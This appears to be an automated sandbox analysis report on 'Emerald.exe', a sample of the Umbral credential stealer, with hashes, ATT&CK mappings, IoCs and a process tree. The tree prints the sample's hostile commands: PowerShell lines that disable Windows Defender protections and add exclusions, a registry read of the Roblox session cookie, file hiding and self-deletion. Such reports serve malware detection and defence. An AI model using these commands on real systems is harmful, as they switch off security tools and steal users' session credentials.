umbral | 6b3fb6fce70e0a6cbe4dec6627f76ff70414048360f03c7d72099fbd059591ed

Analysis

max time kernel
25s
max time network
16s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
13-09-2024 07:48

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General

Target

Emerald X/Emerald.exe
Size

229KB
MD5

f50a9b0c2670af5b0e3371ecdcebed27
SHA1

e114834c05d2e86db3c3d45ccbd46a7c32950167
SHA256

abbf1cd65c8d762019873c47b45e374d0c75cb28ddf754a8ddb35501f3cb63b2
SHA512

21784568e5f27bbd0235fb37d7a7381055da13f27c00b6399bbb09b286bc58a965f00bb925950855392aad57678d34ccd0de4d13b10f9ae7503bc192143a90c6
SSDEEP

6144:lloZM+rIkd8g+EtXHkv/iD4eudRU69VecbGkFZwEPb8e1moi:noZtL+EP8eudRU69VecbGkFZwWq

Score

10^/10

umbral credential_access discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/2856-1-0x0000000000820000-0x0000000000860000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2604	powershell.exe
484	powershell.exe
2028	powershell.exe
2996	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Emerald.exe

Deletes itself 1 IoCs

pid	Process
552	cmd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
7	discord.com
8	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
552	cmd.exe
1912	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2428	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1912	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2856	Emerald.exe
2604	powershell.exe
484	powershell.exe
2028	powershell.exe
2824	powershell.exe
2996	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2856	Emerald.exe
Token: SeIncreaseQuotaPrivilege	2912	wmic.exe
Token: SeSecurityPrivilege	2912	wmic.exe
Token: SeTakeOwnershipPrivilege	2912	wmic.exe
Token: SeLoadDriverPrivilege	2912	wmic.exe
Token: SeSystemProfilePrivilege	2912	wmic.exe
Token: SeSystemtimePrivilege	2912	wmic.exe
Token: SeProfSingleProcessPrivilege	2912	wmic.exe
Token: SeIncBasePriorityPrivilege	2912	wmic.exe
Token: SeCreatePagefilePrivilege	2912	wmic.exe
Token: SeBackupPrivilege	2912	wmic.exe
Token: SeRestorePrivilege	2912	wmic.exe
Token: SeShutdownPrivilege	2912	wmic.exe
Token: SeDebugPrivilege	2912	wmic.exe
Token: SeSystemEnvironmentPrivilege	2912	wmic.exe
Token: SeRemoteShutdownPrivilege	2912	wmic.exe
Token: SeUndockPrivilege	2912	wmic.exe
Token: SeManageVolumePrivilege	2912	wmic.exe
Token: 33	2912	wmic.exe
Token: 34	2912	wmic.exe
Token: 35	2912	wmic.exe
Token: SeIncreaseQuotaPrivilege	2912	wmic.exe
Token: SeSecurityPrivilege	2912	wmic.exe
Token: SeTakeOwnershipPrivilege	2912	wmic.exe
Token: SeLoadDriverPrivilege	2912	wmic.exe
Token: SeSystemProfilePrivilege	2912	wmic.exe
Token: SeSystemtimePrivilege	2912	wmic.exe
Token: SeProfSingleProcessPrivilege	2912	wmic.exe
Token: SeIncBasePriorityPrivilege	2912	wmic.exe
Token: SeCreatePagefilePrivilege	2912	wmic.exe
Token: SeBackupPrivilege	2912	wmic.exe
Token: SeRestorePrivilege	2912	wmic.exe
Token: SeShutdownPrivilege	2912	wmic.exe
Token: SeDebugPrivilege	2912	wmic.exe
Token: SeSystemEnvironmentPrivilege	2912	wmic.exe
Token: SeRemoteShutdownPrivilege	2912	wmic.exe
Token: SeUndockPrivilege	2912	wmic.exe
Token: SeManageVolumePrivilege	2912	wmic.exe
Token: 33	2912	wmic.exe
Token: 34	2912	wmic.exe
Token: 35	2912	wmic.exe
Token: SeDebugPrivilege	2604	powershell.exe
Token: SeDebugPrivilege	484	powershell.exe
Token: SeDebugPrivilege	2028	powershell.exe
Token: SeDebugPrivilege	2824	powershell.exe
Token: SeIncreaseQuotaPrivilege	2948	wmic.exe
Token: SeSecurityPrivilege	2948	wmic.exe
Token: SeTakeOwnershipPrivilege	2948	wmic.exe
Token: SeLoadDriverPrivilege	2948	wmic.exe
Token: SeSystemProfilePrivilege	2948	wmic.exe
Token: SeSystemtimePrivilege	2948	wmic.exe
Token: SeProfSingleProcessPrivilege	2948	wmic.exe
Token: SeIncBasePriorityPrivilege	2948	wmic.exe
Token: SeCreatePagefilePrivilege	2948	wmic.exe
Token: SeBackupPrivilege	2948	wmic.exe
Token: SeRestorePrivilege	2948	wmic.exe
Token: SeShutdownPrivilege	2948	wmic.exe
Token: SeDebugPrivilege	2948	wmic.exe
Token: SeSystemEnvironmentPrivilege	2948	wmic.exe
Token: SeRemoteShutdownPrivilege	2948	wmic.exe
Token: SeUndockPrivilege	2948	wmic.exe
Token: SeManageVolumePrivilege	2948	wmic.exe
Token: 33	2948	wmic.exe
Token: 34	2948	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 2856 wrote to memory of 2912	2856	Emerald.exe	30
PID 2856 wrote to memory of 2912	2856	Emerald.exe	30
PID 2856 wrote to memory of 2912	2856	Emerald.exe	30
PID 2856 wrote to memory of 2584	2856	Emerald.exe	33
PID 2856 wrote to memory of 2584	2856	Emerald.exe	33
PID 2856 wrote to memory of 2584	2856	Emerald.exe	33
PID 2856 wrote to memory of 2604	2856	Emerald.exe	35
PID 2856 wrote to memory of 2604	2856	Emerald.exe	35
PID 2856 wrote to memory of 2604	2856	Emerald.exe	35
PID 2856 wrote to memory of 484	2856	Emerald.exe	37
PID 2856 wrote to memory of 484	2856	Emerald.exe	37
PID 2856 wrote to memory of 484	2856	Emerald.exe	37
PID 2856 wrote to memory of 2028	2856	Emerald.exe	39
PID 2856 wrote to memory of 2028	2856	Emerald.exe	39
PID 2856 wrote to memory of 2028	2856	Emerald.exe	39
PID 2856 wrote to memory of 2824	2856	Emerald.exe	41
PID 2856 wrote to memory of 2824	2856	Emerald.exe	41
PID 2856 wrote to memory of 2824	2856	Emerald.exe	41
PID 2856 wrote to memory of 2948	2856	Emerald.exe	43
PID 2856 wrote to memory of 2948	2856	Emerald.exe	43
PID 2856 wrote to memory of 2948	2856	Emerald.exe	43
PID 2856 wrote to memory of 2064	2856	Emerald.exe	45
PID 2856 wrote to memory of 2064	2856	Emerald.exe	45
PID 2856 wrote to memory of 2064	2856	Emerald.exe	45
PID 2856 wrote to memory of 1144	2856	Emerald.exe	47
PID 2856 wrote to memory of 1144	2856	Emerald.exe	47
PID 2856 wrote to memory of 1144	2856	Emerald.exe	47
PID 2856 wrote to memory of 2996	2856	Emerald.exe	49
PID 2856 wrote to memory of 2996	2856	Emerald.exe	49
PID 2856 wrote to memory of 2996	2856	Emerald.exe	49
PID 2856 wrote to memory of 2428	2856	Emerald.exe	51
PID 2856 wrote to memory of 2428	2856	Emerald.exe	51
PID 2856 wrote to memory of 2428	2856	Emerald.exe	51
PID 2856 wrote to memory of 552	2856	Emerald.exe	53
PID 2856 wrote to memory of 552	2856	Emerald.exe	53
PID 2856 wrote to memory of 552	2856	Emerald.exe	53
PID 552 wrote to memory of 1912	552	cmd.exe	55
PID 552 wrote to memory of 1912	552	cmd.exe	55
PID 552 wrote to memory of 1912	552	cmd.exe	55

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2584	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Emerald X\Emerald.exe
"C:\Users\Admin\AppData\Local\Temp\Emerald X\Emerald.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2856
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2912
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Emerald X\Emerald.exe"
  2⤵
  - Views/modifies file attributes
  PID:2584
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Emerald X\Emerald.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2604
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:484
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2028
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2824
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2948
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:2064
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1144
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2996
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2428
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Emerald X\Emerald.exe" && pause
  2⤵
  - Deletes itself
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:552
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1912

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
07f15f1a3c11b0eee16a6bb112aaad95

SHA1
749ecb8ecc05e47ef32f3f0b3d21e6a47c91725c

SHA256
ed708727c1ee1df5fadeda9916bacf465a2fe6e445cdc7bc857f91a6d966ca66

SHA512
8a4546cee7fa1878b0273af5561b1341c7ba14b0546a7338f09a48956459ff0e9a6dd69c5f04151ff18ba781fcd7964e0123cbd7c525aa43766155f374bc44d9

Download Submit
memory/484-14-0x000000001B640000-0x000000001B922000-memory.dmp

Filesize
2.9MB

Download
memory/484-15-0x0000000001F40000-0x0000000001F48000-memory.dmp

Filesize
32KB

Download
memory/2604-7-0x000000001B6A0000-0x000000001B982000-memory.dmp

Filesize
2.9MB

Download
memory/2604-8-0x0000000002060000-0x0000000002068000-memory.dmp

Filesize
32KB

Download
memory/2856-0-0x000007FEF52D3000-0x000007FEF52D4000-memory.dmp

Filesize
4KB

Download
memory/2856-1-0x0000000000820000-0x0000000000860000-memory.dmp

Filesize
256KB

Download
memory/2856-2-0x000007FEF52D0000-0x000007FEF5CBC000-memory.dmp

Filesize
9.9MB

Download
memory/2856-48-0x000007FEF52D0000-0x000007FEF5CBC000-memory.dmp

Filesize
9.9MB

Download
memory/2996-44-0x0000000002070000-0x0000000002078000-memory.dmp

Filesize
32KB

Download